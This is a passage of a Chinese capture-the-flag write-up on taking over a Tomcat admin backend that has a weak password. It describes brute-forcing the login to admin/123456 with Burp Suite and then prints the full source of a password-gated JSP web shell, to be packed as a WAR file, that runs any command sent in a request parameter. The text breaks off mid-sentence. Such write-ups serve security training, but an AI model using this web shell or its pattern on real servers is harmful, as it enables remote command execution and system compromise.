CTF-Tomcat后台弱口令漏洞利用

根据题意

进入环境，随便点击靶机链接，跳出一个登录界面，因为题目提示网站后台账号密码存在弱口令，用burpsuite爆破得到账号密码为：admin/123456

登录进去过后，发现有一个上传界面，根据解题方向上传一个war木马即可:

war木马的制作过程：
jsp木马源码
<%
if(“023”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“i”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("

");

while((a=in.read(b))!=-1){
 

out.println(new String(b));

}

out.print("

");
}
%>
将jsp木马放入